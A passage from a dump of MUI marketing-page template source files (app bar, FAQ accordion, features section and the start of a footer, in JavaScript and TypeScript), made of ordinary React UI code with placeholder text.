variant=\"contained\" fullWidth>\n                    Sign up\n                  </Button>\n                </MenuItem>\n                <MenuItem>\n                  <Button color=\"primary\" variant=\"outlined\" fullWidth>\n                    Sign in\n                  </Button>\n                </MenuItem>\n              </Box>\n            </Drawer>\n          </Box>\n        </StyledToolbar>\n      </Container>\n    </AppBar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/AppAppBar.tsx",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport Container from '@mui/material/Container';\nimport Divider from '@mui/material/Divider';\nimport MenuItem from '@mui/material/MenuItem';\nimport Drawer from '@mui/material/Drawer';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport CloseRoundedIcon from '@mui/icons-material/CloseRounded';\nimport ColorModeIconDropdown from '../../shared-theme/ColorModeIconDropdown';\nimport Sitemark from './SitemarkIcon';\n\nconst StyledToolbar = styled(Toolbar)(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'space-between',\n  flexShrink: 0,\n  borderRadius: `calc(${theme.shape.borderRadius}px + 8px)`,\n  backdropFilter: 'blur(24px)',\n  border: '1px solid',\n  borderColor: (theme.vars || theme).palette.divider,\n  backgroundColor: theme.vars\n    ? `rgba(${theme.vars.palette.background.defaultChannel} / 0.4)`\n    : alpha(theme.palette.background.default, 0.4),\n  boxShadow: (theme.vars || theme).shadows[1],\n  padding: '8px 12px',\n}));\n\nexport default function AppAppBar() {\n  const [open, setOpen] = React.useState(false);\n\n  const toggleDrawer = (newOpen: boolean) => () => {\n    setOpen(newOpen);\n  };\n\n  return (\n    <AppBar\n      position=\"fixed\"\n      enableColorOnDark\n      sx={{\n        boxShadow: 0,\n        bgcolor: 'transparent',\n        backgroundImage: 'none',\n        mt: 'calc(var(--template-frame-height, 0px) + 28px)',\n      }}\n    >\n      <Container maxWidth=\"lg\">\n        <StyledToolbar variant=\"dense\" disableGutters>\n          <Box sx={{ flexGrow: 1, display: 'flex', alignItems: 'center', px: 0 }}>\n            <Sitemark />\n            <Box sx={{ display: { xs: 'none', md: 'flex' } }}>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Features\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Testimonials\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Highlights\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\">\n                Pricing\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\" sx={{ minWidth: 0 }}>\n                FAQ\n              </Button>\n              <Button variant=\"text\" color=\"info\" size=\"small\" sx={{ minWidth: 0 }}>\n                Blog\n              </Button>\n            </Box>\n          </Box>\n          <Box\n            sx={{\n              display: { xs: 'none', md: 'flex' },\n              gap: 1,\n              alignItems: 'center',\n            }}\n          >\n            <Button color=\"primary\" variant=\"text\" size=\"small\">\n              Sign in\n            </Button>\n            <Button color=\"primary\" variant=\"contained\" size=\"small\">\n              Sign up\n            </Button>\n            <ColorModeIconDropdown />\n          </Box>\n          <Box sx={{ display: { xs: 'flex', md: 'none' }, gap: 1 }}>\n            <ColorModeIconDropdown size=\"medium\" />\n            <IconButton aria-label=\"Menu button\" onClick={toggleDrawer(true)}>\n              <MenuIcon />\n            </IconButton>\n            <Drawer\n              anchor=\"top\"\n              open={open}\n              onClose={toggleDrawer(false)}\n              slotProps={{\n                paper: {\n                  sx: {\n                    top: 'var(--template-frame-height, 0px)',\n                  },\n                },\n              }}\n            >\n              <Box sx={{ p: 2, backgroundColor: 'background.default' }}>\n                <Box\n                  sx={{\n                    display: 'flex',\n                    justifyContent: 'flex-end',\n                  }}\n                >\n                  <IconButton onClick={toggleDrawer(false)}>\n                    <CloseRoundedIcon />\n                  </IconButton>\n                </Box>\n\n                <MenuItem>Features</MenuItem>\n                <MenuItem>Testimonials</MenuItem>\n                <MenuItem>Highlights</MenuItem>\n                <MenuItem>Pricing</MenuItem>\n                <MenuItem>FAQ</MenuItem>\n                <MenuItem>Blog</MenuItem>\n                <Divider sx={{ my: 3 }} />\n                <MenuItem>\n                  <Button color=\"primary\" variant=\"contained\" fullWidth>\n                    Sign up\n                  </Button>\n                </MenuItem>\n                <MenuItem>\n                  <Button color=\"primary\" variant=\"outlined\" fullWidth>\n                    Sign in\n                  </Button>\n                </MenuItem>\n              </Box>\n            </Drawer>\n          </Box>\n        </StyledToolbar>\n      </Container>\n    </AppBar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/FAQ.js",
    "content": "import * as React from 'react';\nimport Accordion from '@mui/material/Accordion';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport Link from '@mui/material/Link';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\n\nexport default function FAQ() {\n  const [expanded, setExpanded] = React.useState([]);\n\n  const handleChange = (panel) => (event, isExpanded) => {\n    setExpanded(\n      isExpanded ? [...expanded, panel] : expanded.filter((item) => item !== panel),\n    );\n  };\n\n  return (\n    <Container\n      id=\"faq\"\n      sx={{\n        pt: { xs: 4, sm: 12 },\n        pb: { xs: 8, sm: 16 },\n        position: 'relative',\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        gap: { xs: 3, sm: 6 },\n      }}\n    >\n      <Typography\n        component=\"h2\"\n        variant=\"h4\"\n        sx={{\n          color: 'text.primary',\n          width: { sm: '100%', md: '60%' },\n          textAlign: { sm: 'left', md: 'center' },\n        }}\n      >\n        Frequently asked questions\n      </Typography>\n      <Box sx={{ width: '100%' }}>\n        <Accordion\n          expanded={expanded.includes('panel1')}\n          onChange={handleChange('panel1')}\n        >\n          <AccordionSummary\n            expandIcon={<ExpandMoreIcon />}\n            aria-controls=\"panel1d-content\"\n            id=\"panel1d-header\"\n          >\n            <Typography component=\"span\" variant=\"subtitle2\">\n              How do I contact customer support if I have a question or issue?\n            </Typography>\n          </AccordionSummary>\n          <AccordionDetails>\n            <Typography\n              variant=\"body2\"\n              gutterBottom\n              sx={{ maxWidth: { sm: '100%', md: '70%' } }}\n            >\n              You can reach our customer support team by emailing&nbsp;\n              <Link href=\"mailto:support@email.com\">support@email.com</Link>\n              &nbsp;or calling our toll-free number. We&apos;re here to assist you\n              promptly.\n            </Typography>\n          </AccordionDetails>\n        </Accordion>\n        <Accordion\n          expanded={expanded.includes('panel2')}\n          onChange={handleChange('panel2')}\n        >\n          <AccordionSummary\n            expandIcon={<ExpandMoreIcon />}\n            aria-controls=\"panel2d-content\"\n            id=\"panel2d-header\"\n          >\n            <Typography component=\"span\" variant=\"subtitle2\">\n              Can I return the product if it doesn&apos;t meet my expectations?\n            </Typography>\n          </AccordionSummary>\n          <AccordionDetails>\n            <Typography\n              variant=\"body2\"\n              gutterBottom\n              sx={{ maxWidth: { sm: '100%', md: '70%' } }}\n            >\n              Absolutely! We offer a hassle-free return policy. If you&apos;re not\n              completely satisfied, you can return the product within [number of\n              days] days for a full refund or exchange.\n            </Typography>\n          </AccordionDetails>\n        </Accordion>\n        <Accordion\n          expanded={expanded.includes('panel3')}\n          onChange={handleChange('panel3')}\n        >\n          <AccordionSummary\n            expandIcon={<ExpandMoreIcon />}\n            aria-controls=\"panel3d-content\"\n            id=\"panel3d-header\"\n          >\n            <Typography component=\"span\" variant=\"subtitle2\">\n              What makes your product stand out from others in the market?\n            </Typography>\n          </AccordionSummary>\n          <AccordionDetails>\n            <Typography\n              variant=\"body2\"\n              gutterBottom\n              sx={{ maxWidth: { sm: '100%', md: '70%' } }}\n            >\n              Our product distinguishes itself through its adaptability, durability,\n              and innovative features. We prioritize user satisfaction and\n              continually strive to exceed expectations in every aspect.\n            </Typography>\n          </AccordionDetails>\n        </Accordion>\n        <Accordion\n          expanded={expanded.includes('panel4')}\n          onChange={handleChange('panel4')}\n        >\n          <AccordionSummary\n            expandIcon={<ExpandMoreIcon />}\n            aria-controls=\"panel4d-content\"\n            id=\"panel4d-header\"\n          >\n            <Typography component=\"span\" variant=\"subtitle2\">\n              Is there a warranty on the product, and what does it cover?\n            </Typography>\n          </AccordionSummary>\n          <AccordionDetails>\n            <Typography\n              variant=\"body2\"\n              gutterBottom\n              sx={{ maxWidth: { sm: '100%', md: '70%' } }}\n            >\n              Yes, our product comes with a [length of warranty] warranty. It covers\n              defects in materials and workmanship. If you encounter any issues\n              covered by the warranty, please contact our customer support for\n              assistance.\n            </Typography>\n          </AccordionDetails>\n        </Accordion>\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/FAQ.tsx",
    "content": "import * as React from 'react';\nimport Accordion from '@mui/material/Accordion';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport Link from '@mui/material/Link';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\n\nexport default function FAQ() {\n  const [expanded, setExpanded] = React.useState<string[]>([]);\n\n  const handleChange =\n    (panel: string) => (event: React.SyntheticEvent, isExpanded: boolean) => {\n      setExpanded(\n        isExpanded\n          ? [...expanded, panel]\n          : expanded.filter((item) => item !== panel),\n      );\n    };\n\n  return (\n    <Container\n      id=\"faq\"\n      sx={{\n        pt: { xs: 4, sm: 12 },\n        pb: { xs: 8, sm: 16 },\n        position: 'relative',\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        gap: { xs: 3, sm: 6 },\n      }}\n    >\n      <Typography\n        component=\"h2\"\n        variant=\"h4\"\n        sx={{\n          color: 'text.primary',\n          width: { sm: '100%', md: '60%' },\n          textAlign: { sm: 'left', md: 'center' },\n        }}\n      >\n        Frequently asked questions\n      </Typography>\n      <Box sx={{ width: '100%' }}>\n        <Accordion\n          expanded={expanded.includes('panel1')}\n          onChange={handleChange('panel1')}\n        >\n          <AccordionSummary\n            expandIcon={<ExpandMoreIcon />}\n            aria-controls=\"panel1d-content\"\n            id=\"panel1d-header\"\n          >\n            <Typography component=\"span\" variant=\"subtitle2\">\n              How do I contact customer support if I have a question or issue?\n            </Typography>\n          </AccordionSummary>\n          <AccordionDetails>\n            <Typography\n              variant=\"body2\"\n              gutterBottom\n              sx={{ maxWidth: { sm: '100%', md: '70%' } }}\n            >\n              You can reach our customer support team by emailing&nbsp;\n              <Link href=\"mailto:support@email.com\">support@email.com</Link>\n              &nbsp;or calling our toll-free number. We&apos;re here to assist you\n              promptly.\n            </Typography>\n          </AccordionDetails>\n        </Accordion>\n        <Accordion\n          expanded={expanded.includes('panel2')}\n          onChange={handleChange('panel2')}\n        >\n          <AccordionSummary\n            expandIcon={<ExpandMoreIcon />}\n            aria-controls=\"panel2d-content\"\n            id=\"panel2d-header\"\n          >\n            <Typography component=\"span\" variant=\"subtitle2\">\n              Can I return the product if it doesn&apos;t meet my expectations?\n            </Typography>\n          </AccordionSummary>\n          <AccordionDetails>\n            <Typography\n              variant=\"body2\"\n              gutterBottom\n              sx={{ maxWidth: { sm: '100%', md: '70%' } }}\n            >\n              Absolutely! We offer a hassle-free return policy. If you&apos;re not\n              completely satisfied, you can return the product within [number of\n              days] days for a full refund or exchange.\n            </Typography>\n          </AccordionDetails>\n        </Accordion>\n        <Accordion\n          expanded={expanded.includes('panel3')}\n          onChange={handleChange('panel3')}\n        >\n          <AccordionSummary\n            expandIcon={<ExpandMoreIcon />}\n            aria-controls=\"panel3d-content\"\n            id=\"panel3d-header\"\n          >\n            <Typography component=\"span\" variant=\"subtitle2\">\n              What makes your product stand out from others in the market?\n            </Typography>\n          </AccordionSummary>\n          <AccordionDetails>\n            <Typography\n              variant=\"body2\"\n              gutterBottom\n              sx={{ maxWidth: { sm: '100%', md: '70%' } }}\n            >\n              Our product distinguishes itself through its adaptability, durability,\n              and innovative features. We prioritize user satisfaction and\n              continually strive to exceed expectations in every aspect.\n            </Typography>\n          </AccordionDetails>\n        </Accordion>\n        <Accordion\n          expanded={expanded.includes('panel4')}\n          onChange={handleChange('panel4')}\n        >\n          <AccordionSummary\n            expandIcon={<ExpandMoreIcon />}\n            aria-controls=\"panel4d-content\"\n            id=\"panel4d-header\"\n          >\n            <Typography component=\"span\" variant=\"subtitle2\">\n              Is there a warranty on the product, and what does it cover?\n            </Typography>\n          </AccordionSummary>\n          <AccordionDetails>\n            <Typography\n              variant=\"body2\"\n              gutterBottom\n              sx={{ maxWidth: { sm: '100%', md: '70%' } }}\n            >\n              Yes, our product comes with a [length of warranty] warranty. It covers\n              defects in materials and workmanship. If you encounter any issues\n              covered by the warranty, please contact our customer support for\n              assistance.\n            </Typography>\n          </AccordionDetails>\n        </Accordion>\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/Features.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Card from '@mui/material/Card';\nimport MuiChip from '@mui/material/Chip';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport { styled } from '@mui/material/styles';\n\nimport DevicesRoundedIcon from '@mui/icons-material/DevicesRounded';\nimport EdgesensorHighRoundedIcon from '@mui/icons-material/EdgesensorHighRounded';\nimport ViewQuiltRoundedIcon from '@mui/icons-material/ViewQuiltRounded';\n\nconst items = [\n  {\n    icon: <ViewQuiltRoundedIcon />,\n    title: 'Dashboard',\n    description:\n      'This item could provide a snapshot of the most important metrics or data points related to the product.',\n    imageLight: `url(\"${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/images/templates/templates-images/dash-light.png\")`,\n    imageDark: `url(\"${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/images/templates/templates-images/dash-dark.png\")`,\n  },\n  {\n    icon: <EdgesensorHighRoundedIcon />,\n    title: 'Mobile integration',\n    description:\n      'This item could provide information about the mobile app version of the product.',\n    imageLight: `url(\"${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/images/templates/templates-images/mobile-light.png\")`,\n    imageDark: `url(\"${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/images/templates/templates-images/mobile-dark.png\")`,\n  },\n  {\n    icon: <DevicesRoundedIcon />,\n    title: 'Available on all platforms',\n    description:\n      'This item could let users know the product is available on all platforms, such as web, mobile, and desktop.',\n    imageLight: `url(\"${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/images/templates/templates-images/devices-light.png\")`,\n    imageDark: `url(\"${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/images/templates/templates-images/devices-dark.png\")`,\n  },\n];\n\nconst Chip = styled(MuiChip)(({ theme }) => ({\n  variants: [\n    {\n      props: ({ selected }) => !!selected,\n      style: {\n        background:\n          'linear-gradient(to bottom right, hsl(210, 98%, 48%), hsl(210, 98%, 35%))',\n        color: 'hsl(0, 0%, 100%)',\n        borderColor: (theme.vars || theme).palette.primary.light,\n        '& .MuiChip-label': {\n          color: 'hsl(0, 0%, 100%)',\n        },\n        ...theme.applyStyles('dark', {\n          borderColor: (theme.vars || theme).palette.primary.dark,\n        }),\n      },\n    },\n  ],\n}));\n\nfunction MobileLayout({ selectedItemIndex, handleItemClick, selectedFeature }) {\n  if (!items[selectedItemIndex]) {\n    return null;\n  }\n\n  return (\n    <Box\n      sx={{\n        display: { xs: 'flex', sm: 'none' },\n        flexDirection: 'column',\n        gap: 2,\n      }}\n    >\n      <Box sx={{ display: 'flex', gap: 2, overflow: 'auto' }}>\n        {items.map(({ title }, index) => (\n          <Chip\n            size=\"medium\"\n            key={index}\n            label={title}\n            onClick={() => handleItemClick(index)}\n            selected={selectedItemIndex === index}\n          />\n        ))}\n      </Box>\n      <Card variant=\"outlined\">\n        <Box\n          sx={(theme) => ({\n            mb: 2,\n            backgroundSize: 'cover',\n            backgroundPosition: 'center',\n            minHeight: 280,\n            backgroundImage: 'var(--items-imageLight)',\n            ...theme.applyStyles('dark', {\n              backgroundImage: 'var(--items-imageDark)',\n            }),\n          })}\n          style={\n            items[selectedItemIndex]\n              ? {\n                  '--items-imageLight': items[selectedItemIndex].imageLight,\n                  '--items-imageDark': items[selectedItemIndex].imageDark,\n                }\n              : {}\n          }\n        />\n        <Box sx={{ px: 2, pb: 2 }}>\n          <Typography\n            gutterBottom\n            sx={{ color: 'text.primary', fontWeight: 'medium' }}\n          >\n            {selectedFeature.title}\n          </Typography>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 1.5 }}>\n            {selectedFeature.description}\n          </Typography>\n        </Box>\n      </Card>\n    </Box>\n  );\n}\n\nMobileLayout.propTypes = {\n  handleItemClick: PropTypes.func.isRequired,\n  selectedFeature: PropTypes.shape({\n    description: PropTypes.string.isRequired,\n    icon: PropTypes.element,\n    imageDark: PropTypes.string.isRequired,\n    imageLight: PropTypes.string.isRequired,\n    title: PropTypes.string.isRequired,\n  }).isRequired,\n  selectedItemIndex: PropTypes.number.isRequired,\n};\n\nexport { MobileLayout };\n\nexport default function Features() {\n  const [selectedItemIndex, setSelectedItemIndex] = React.useState(0);\n\n  const handleItemClick = (index) => {\n    setSelectedItemIndex(index);\n  };\n\n  const selectedFeature = items[selectedItemIndex];\n\n  return (\n    <Container id=\"features\" sx={{ py: { xs: 8, sm: 16 } }}>\n      <Box sx={{ width: { sm: '100%', md: '60%' } }}>\n        <Typography\n          component=\"h2\"\n          variant=\"h4\"\n          gutterBottom\n          sx={{ color: 'text.primary' }}\n        >\n          Product features\n        </Typography>\n        <Typography\n          variant=\"body1\"\n          sx={{ color: 'text.secondary', mb: { xs: 2, sm: 4 } }}\n        >\n          Provide a brief overview of the key features of the product. For example,\n          you could list the number of features, their types or benefits, and\n          add-ons.\n        </Typography>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: { xs: 'column', md: 'row-reverse' },\n          gap: 2,\n        }}\n      >\n        <div>\n          <Box\n            sx={{\n              display: { xs: 'none', sm: 'flex' },\n              flexDirection: 'column',\n              gap: 2,\n              height: '100%',\n            }}\n          >\n            {items.map(({ icon, title, description }, index) => (\n              <Box\n                key={index}\n                component={Button}\n                onClick={() => handleItemClick(index)}\n                sx={[\n                  (theme) => ({\n                    p: 2,\n                    height: '100%',\n                    width: '100%',\n                    '&:hover': {\n                      backgroundColor: (theme.vars || theme).palette.action.hover,\n                    },\n                  }),\n                  selectedItemIndex === index && {\n                    backgroundColor: 'action.selected',\n                  },\n                ]}\n              >\n                <Box\n                  sx={[\n                    {\n                      width: '100%',\n                      display: 'flex',\n                      flexDirection: 'column',\n                      alignItems: 'left',\n                      gap: 1,\n                      textAlign: 'left',\n                      textTransform: 'none',\n                      color: 'text.secondary',\n                    },\n                    selectedItemIndex === index && {\n                      color: 'text.primary',\n                    },\n                  ]}\n                >\n                  {icon}\n\n                  <Typography variant=\"h6\">{title}</Typography>\n                  <Typography variant=\"body2\">{description}</Typography>\n                </Box>\n              </Box>\n            ))}\n          </Box>\n          <MobileLayout\n            selectedItemIndex={selectedItemIndex}\n            handleItemClick={handleItemClick}\n            selectedFeature={selectedFeature}\n          />\n        </div>\n        <Box\n          sx={{\n            display: { xs: 'none', sm: 'flex' },\n            width: { xs: '100%', md: '70%' },\n            height: 'var(--items-image-height)',\n          }}\n        >\n          <Card\n            variant=\"outlined\"\n            sx={{\n              height: '100%',\n              width: '100%',\n              display: { xs: 'none', sm: 'flex' },\n              pointerEvents: 'none',\n            }}\n          >\n            <Box\n              sx={(theme) => ({\n                m: 'auto',\n                width: 420,\n                height: 500,\n                backgroundSize: 'contain',\n                backgroundImage: 'var(--items-imageLight)',\n                ...theme.applyStyles('dark', {\n                  backgroundImage: 'var(--items-imageDark)',\n                }),\n              })}\n              style={\n                items[selectedItemIndex]\n                  ? {\n                      '--items-imageLight': items[selectedItemIndex].imageLight,\n                      '--items-imageDark': items[selectedItemIndex].imageDark,\n                    }\n                  : {}\n              }\n            />\n          </Card>\n        </Box>\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/Features.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Card from '@mui/material/Card';\nimport MuiChip from '@mui/material/Chip';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport { styled } from '@mui/material/styles';\n\nimport DevicesRoundedIcon from '@mui/icons-material/DevicesRounded';\nimport EdgesensorHighRoundedIcon from '@mui/icons-material/EdgesensorHighRounded';\nimport ViewQuiltRoundedIcon from '@mui/icons-material/ViewQuiltRounded';\n\nconst items = [\n  {\n    icon: <ViewQuiltRoundedIcon />,\n    title: 'Dashboard',\n    description:\n      'This item could provide a snapshot of the most important metrics or data points related to the product.',\n    imageLight: `url(\"${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/images/templates/templates-images/dash-light.png\")`,\n    imageDark: `url(\"${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/images/templates/templates-images/dash-dark.png\")`,\n  },\n  {\n    icon: <EdgesensorHighRoundedIcon />,\n    title: 'Mobile integration',\n    description:\n      'This item could provide information about the mobile app version of the product.',\n    imageLight: `url(\"${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/images/templates/templates-images/mobile-light.png\")`,\n    imageDark: `url(\"${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/images/templates/templates-images/mobile-dark.png\")`,\n  },\n  {\n    icon: <DevicesRoundedIcon />,\n    title: 'Available on all platforms',\n    description:\n      'This item could let users know the product is available on all platforms, such as web, mobile, and desktop.',\n    imageLight: `url(\"${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/images/templates/templates-images/devices-light.png\")`,\n    imageDark: `url(\"${process.env.TEMPLATE_IMAGE_URL || 'https://mui.com'}/static/images/templates/templates-images/devices-dark.png\")`,\n  },\n];\n\ninterface ChipProps {\n  selected?: boolean;\n}\n\nconst Chip = styled(MuiChip)<ChipProps>(({ theme }) => ({\n  variants: [\n    {\n      props: ({ selected }) => !!selected,\n      style: {\n        background:\n          'linear-gradient(to bottom right, hsl(210, 98%, 48%), hsl(210, 98%, 35%))',\n        color: 'hsl(0, 0%, 100%)',\n        borderColor: (theme.vars || theme).palette.primary.light,\n        '& .MuiChip-label': {\n          color: 'hsl(0, 0%, 100%)',\n        },\n        ...theme.applyStyles('dark', {\n          borderColor: (theme.vars || theme).palette.primary.dark,\n        }),\n      },\n    },\n  ],\n}));\n\ninterface MobileLayoutProps {\n  selectedItemIndex: number;\n  handleItemClick: (index: number) => void;\n  selectedFeature: (typeof items)[0];\n}\n\nexport function MobileLayout({\n  selectedItemIndex,\n  handleItemClick,\n  selectedFeature,\n}: MobileLayoutProps) {\n  if (!items[selectedItemIndex]) {\n    return null;\n  }\n\n  return (\n    <Box\n      sx={{\n        display: { xs: 'flex', sm: 'none' },\n        flexDirection: 'column',\n        gap: 2,\n      }}\n    >\n      <Box sx={{ display: 'flex', gap: 2, overflow: 'auto' }}>\n        {items.map(({ title }, index) => (\n          <Chip\n            size=\"medium\"\n            key={index}\n            label={title}\n            onClick={() => handleItemClick(index)}\n            selected={selectedItemIndex === index}\n          />\n        ))}\n      </Box>\n      <Card variant=\"outlined\">\n        <Box\n          sx={(theme) => ({\n            mb: 2,\n            backgroundSize: 'cover',\n            backgroundPosition: 'center',\n            minHeight: 280,\n            backgroundImage: 'var(--items-imageLight)',\n            ...theme.applyStyles('dark', {\n              backgroundImage: 'var(--items-imageDark)',\n            }),\n          })}\n          style={\n            items[selectedItemIndex]\n              ? ({\n                  '--items-imageLight': items[selectedItemIndex].imageLight,\n                  '--items-imageDark': items[selectedItemIndex].imageDark,\n                } as any)\n              : {}\n          }\n        />\n        <Box sx={{ px: 2, pb: 2 }}>\n          <Typography\n            gutterBottom\n            sx={{ color: 'text.primary', fontWeight: 'medium' }}\n          >\n            {selectedFeature.title}\n          </Typography>\n          <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 1.5 }}>\n            {selectedFeature.description}\n          </Typography>\n        </Box>\n      </Card>\n    </Box>\n  );\n}\n\nexport default function Features() {\n  const [selectedItemIndex, setSelectedItemIndex] = React.useState(0);\n\n  const handleItemClick = (index: number) => {\n    setSelectedItemIndex(index);\n  };\n\n  const selectedFeature = items[selectedItemIndex];\n\n  return (\n    <Container id=\"features\" sx={{ py: { xs: 8, sm: 16 } }}>\n      <Box sx={{ width: { sm: '100%', md: '60%' } }}>\n        <Typography\n          component=\"h2\"\n          variant=\"h4\"\n          gutterBottom\n          sx={{ color: 'text.primary' }}\n        >\n          Product features\n        </Typography>\n        <Typography\n          variant=\"body1\"\n          sx={{ color: 'text.secondary', mb: { xs: 2, sm: 4 } }}\n        >\n          Provide a brief overview of the key features of the product. For example,\n          you could list the number of features, their types or benefits, and\n          add-ons.\n        </Typography>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: { xs: 'column', md: 'row-reverse' },\n          gap: 2,\n        }}\n      >\n        <div>\n          <Box\n            sx={{\n              display: { xs: 'none', sm: 'flex' },\n              flexDirection: 'column',\n              gap: 2,\n              height: '100%',\n            }}\n          >\n            {items.map(({ icon, title, description }, index) => (\n              <Box\n                key={index}\n                component={Button}\n                onClick={() => handleItemClick(index)}\n                sx={[\n                  (theme) => ({\n                    p: 2,\n                    height: '100%',\n                    width: '100%',\n                    '&:hover': {\n                      backgroundColor: (theme.vars || theme).palette.action.hover,\n                    },\n                  }),\n                  selectedItemIndex === index && {\n                    backgroundColor: 'action.selected',\n                  },\n                ]}\n              >\n                <Box\n                  sx={[\n                    {\n                      width: '100%',\n                      display: 'flex',\n                      flexDirection: 'column',\n                      alignItems: 'left',\n                      gap: 1,\n                      textAlign: 'left',\n                      textTransform: 'none',\n                      color: 'text.secondary',\n                    },\n                    selectedItemIndex === index && {\n                      color: 'text.primary',\n                    },\n                  ]}\n                >\n                  {icon}\n\n                  <Typography variant=\"h6\">{title}</Typography>\n                  <Typography variant=\"body2\">{description}</Typography>\n                </Box>\n              </Box>\n            ))}\n          </Box>\n          <MobileLayout\n            selectedItemIndex={selectedItemIndex}\n            handleItemClick={handleItemClick}\n            selectedFeature={selectedFeature}\n          />\n        </div>\n        <Box\n          sx={{\n            display: { xs: 'none', sm: 'flex' },\n            width: { xs: '100%', md: '70%' },\n            height: 'var(--items-image-height)',\n          }}\n        >\n          <Card\n            variant=\"outlined\"\n            sx={{\n              height: '100%',\n              width: '100%',\n              display: { xs: 'none', sm: 'flex' },\n              pointerEvents: 'none',\n            }}\n          >\n            <Box\n              sx={(theme) => ({\n                m: 'auto',\n                width: 420,\n                height: 500,\n                backgroundSize: 'contain',\n                backgroundImage: 'var(--items-imageLight)',\n                ...theme.applyStyles('dark', {\n                  backgroundImage: 'var(--items-imageDark)',\n                }),\n              })}\n              style={\n                items[selectedItemIndex]\n                  ? ({\n                      '--items-imageLight': items[selectedItemIndex].imageLight,\n                      '--items-imageDark': items[selectedItemIndex].imageDark,\n                    } as any)\n                  : {}\n              }\n            />\n          </Card>\n        </Box>\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/Footer.js",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Container from '@mui/material/Container';\nimport IconButton from '@mui/material/IconButton';\nimport InputLabel from '@mui/material/InputLabel';\nimport Link from '@mui/material/Link';\nimport Stack from '@mui/material/Stack';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport LinkedInIcon from '@mui/icons-material/LinkedIn';\nimport TwitterIcon from '@mui/icons-material/X';\nimport SitemarkIcon from './SitemarkIcon';\n\nfunction Copyright() {\n  return (\n    <Typography variant=\"body2\" sx={{ color: 'text.secondary', mt: 1 }}>\n      {'Copyright © '}\n      <Link\n        href=\"https://mui.com/\"\n        sx={{\n          color: 'text.secondary',\n        }}\n      >\n        Sitemark\n      </Link>\n      {new Date().getFullYear()}\n    </Typography>\n  );\n}\n\nexport default function Footer() {\n  return (\n    <Container\n      sx={{\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        gap: { xs: 4, sm: 8 },\n        py: { xs: 8, sm: 10 },\n        textAlign: { sm: 'center', md: 'left' },\n      }}\n    >\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: { xs: 'column', sm: 'row' },\n          width: '100%',\n          justifyContent: 'space-between',\n        }}\n      >\n        <Box\n          sx={{\n            display: 'flex',\n            flexDirection: 'column',\n            gap: 4,\n            minWidth: { xs: '100%', sm: '60%' },\n          }}\n        >\n          <Box sx={{ width: { xs: '100%', sm: '60%' } }}>\n            <SitemarkIcon />\n            <Typography variant=\"body2\" gutterBottom sx={{ fontWeight: 600, mt: 2 }}>\n              Join the newsletter\n            </Typography>\n            <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 2 }}>\n              Subscribe for weekly updates. No spams ever!\n            </Typography>\n            <InputLabel htmlFor=\"email-newsletter\">Email</InputLabel>\n            <Stack direction=\"row\" spacing={1} useFlexGap>\n              <TextField\n                id=\"email-newsletter\"\n                hiddenLabel\n                size=\"small\"\n                variant=\"outlined\"\n                fullWidth\n            